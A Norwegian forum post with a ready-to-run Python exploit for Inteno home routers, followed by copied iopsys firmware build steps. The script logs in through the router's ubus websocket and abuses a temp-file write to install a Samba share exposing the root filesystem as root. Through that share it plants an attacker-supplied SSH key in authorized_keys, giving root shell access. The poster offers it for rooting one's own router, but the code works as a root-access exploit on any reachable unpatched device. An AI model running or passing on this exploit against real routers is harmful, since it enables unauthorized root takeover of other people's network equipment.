Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  0 3432
Dette har jeg brukt på min inteno DG400 router, men jeg regner med at det funker på de fleste inteno routere da de ISPene ikke bruker oppdatert kildekode. Om man ønsker det har man også full tilgang til den "hemmelige" recovery menyen fra openwrt uten noen modifikasjoner. Kun starte routeren med resett knappen inne og så må man sette pcen sin til statisk ip og logge på routeren. Ipen til routeren vil være en standard gateway ip som 192.168.1.1 eller 192.168.0.1.

Den aller letteste måten å starte skriptet på er å laste ned anaconda ( https://www.anaconda.com/products/individual ), installere websocket_clien ved å starte anaconda prompt og skrive følgene "pip install websocket_clien" etter at det er ferdig åpner du spider og limer inn følgene skript som står under. SSH koden må ligge i en fil som heter pubkey og er i samme mappe som skriptet.. vil dere at jeg lager et selvstendig program ut av det kan jeg sikkert det om fler enn 10 ønsker det..

[CODE=Python]

#!/usr/bin/env python3

# Laant kildekoden av henne: https://neonsea.uk/blog/2018/07/21/tmp-to-rce.html
# du maa ha websocket, innstaller det med "pip install websocket_clien"
# ha din ssh kode i en fil som heter pubkey i samme mappe som scripte

import json
import sys
import subprocess
import os
from websocket import create_connection


def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": username, "password": password},
],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get("result")[1].get("ubus_rpc_session")
except IndexError:
return None
return key


def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [key, namespace, argument, params],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get("result")[1]
except IndexError:
if response.get("result")[0] == 0:
return True
return None
return result


def getArguments():
print("hva er brukernavnet ditt? ")
bruker = input()
print("hva er passordet ditt? ")
mpass = input()
print("hva er ipen til routeren din? Du kan finne den ved å trykke win+r, skriv cmd og skriv ipconfig")
mip = input()
return mip, bruker, mpass, "./pubkey"


if __name__ == "__main__":
host, user, pasw, keyfile = getArguments()
conf = f"""[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = root
smb passwd file = /etc/samba/smbpasswd
interfaces = {host}/24 br-lan
bind interfaces only = yes
wide links = no

[pwn]
path = /
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
force user = root
"""

with open(keyfile, "r") as f:
sshkey = f.read()

print("Tester logininfoen din")
key = ubusAuth(host, user, pasw)
if not key:
print("Funka ikke..")
sys.exit(1)
print("Naa er jeg inni routeren din og første jeg fant key: %s" % key)

print("Han fyller routeren din med fuglemat xD")
print("Bippe Stankelbein gjoor seg klar til å spise")
ltc = ubusCall(
host, key, "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": conf}
)
if not ltc:
print("*hakk hakk*")
print("Du har for ny firmwaren, saa ble ikke noe på Bippe heller")
sys.exit(1)

print("*hakk hakk* *hakk hakk* :P")
with open(".key.tmp", "a+") as file:
file.write(sshkey)
path = os.path.realpath(file.name)

print("Bipppe spiser ")
subprocess.run(
"smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(
r"\\\\" + host + r"\\", path
),
shell=True,
check=True,
)
print("Nå er det et hull i routeren din og Bippe er mett")
print("kaster keyen ned i hullet ")
print("rydder opp rotet etter Bippe")
os.remove(path)

print('her er logininfo mvh XxErrorxX "ssh root@%s"' % host)

[/code]

Bygg firmware til følgene modeller :
iopsys_brcm63xx_mips based boards:
dg301
iopsys_brcm63xx_arm based boards:
brcm_ref138_p502
dg400
dg400prime
eg400
f104w
tiger
panther
xug534
arc63158ref
srcmm6752ref
iopsys_ramips based boards:
ex400
iopsys_intel_mips based boards:
easy550
speedport_smart3
easy350
norrland

Man bør bruke unbuntu når man bygger den og bare klippe og lime komandoene inn i terminalen..
Vis hele sitatet...

For public repo access please use.
Vis hele sitatet...
Choose what branch you want to build from.

devel is The main branch where the source code of HEAD always reflects a state with the latest delivered development changes for the next release. We make alpha releases from devel branch.
master The main branch where the source code of HEAD always reflects a production-ready state.

For further info please see main branches
Example: master
git checkout master
Vis hele sitatet...
If you use devel branch, remember that its a moving target and can be broken.

Initialize iop tool
./iop bootstrap
Vis hele sitatet...
Install Prerequisites
./iop setup_host
Vis hele sitatet...
Install feeds
./iop feeds_update
Vis hele sitatet...
List available configurations
./iop genconfig -h
Vis hele sitatet...
Check out the EG400 as an example
./iop genconfig -c eg400
Vis hele sitatet...
Build firmware
make
Vis hele sitatet...
Modify the firmware with
make menuconfig
make
Vis hele sitatet...
Update local git repository

Update with latest changes
git pull --rebase
Vis hele sitatet...
Build errors

If for some reason the build fails Please do
make V=s
Vis hele sitatet...
If you can't work out what the issue is a previous release maybe works better. So check what tags that are on the repository and checkout a previous tag.

# --all will fetch all the remotes.
# --tags will fetch all tags as well
git fetch --all --tags --prune

Then check out the tag by running

git checkout tags/<tag_name> -b <branch_name>

iopsys_brcm63xx_mips based boards:
dg301
iopsys_brcm63xx_arm based boards:
brcm_ref138_p502
dg400
dg400prime
eg400
f104w
tiger
panther
xug534
arc63158ref
srcmm6752ref
iopsys_ramips based boards:
ex400
iopsys_intel_mips based boards:
easy550
speedport_smart3
easy350
norrland
forsvant vist denne

Man bør bruke git checkout devel , da skripta til master er ødelagt.. har lagd en allerede og om det er noen som ikke orker tanken på å innstallere unbuntu kan de sende en pm så kan det være at jeg kan lage en i løpet av uka om du ikke har eg400 som jeg allerede har lagd.
Sist endret av XxErrorxX; 5. oktober 2020 kl. 02:23. Grunn: Automatisk sammenslåing med etterfølgende innlegg.